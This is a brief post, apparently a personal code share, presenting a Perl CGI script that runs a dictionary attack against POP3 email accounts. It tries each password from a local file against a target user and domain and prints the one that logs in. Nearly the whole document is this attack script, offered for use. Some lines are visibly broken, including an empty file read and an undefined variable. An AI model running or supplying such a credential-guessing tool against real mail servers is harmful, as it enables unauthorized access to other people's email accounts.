Pop3 Dictionary Attack

This my basic perl cgi script for dictionary attack of pop3 protokol.


#!/usr/bin/perl
use IO::Socket;
use Net::POP3;
use CGI qw(:all);

$pass_file = "/tmp/password";
print header, start_html();
my $ipaddress = param("domain");
my $pop3user = param("isim");
print end_html();
open FILE, "< $pass_file" || die ("\n Can not open file error...\n");
chomp(@pazi = );


for ($i = 0; $i <= $#pazi; $i++)
{
$connect = Net::POP3->new("$ipaddress")
or die "Connection Error to $hostname : $!\n";




my $response = defined($connect->login("$pop3user",$pazi[$i]));
if ($response > 0 )
{
print p "(Mail adresi Sifresi $pazi[$i] )";

}
else
{
print p "( Denenen Sifreler $pazi[$i] )";
}
$connect->quit;
}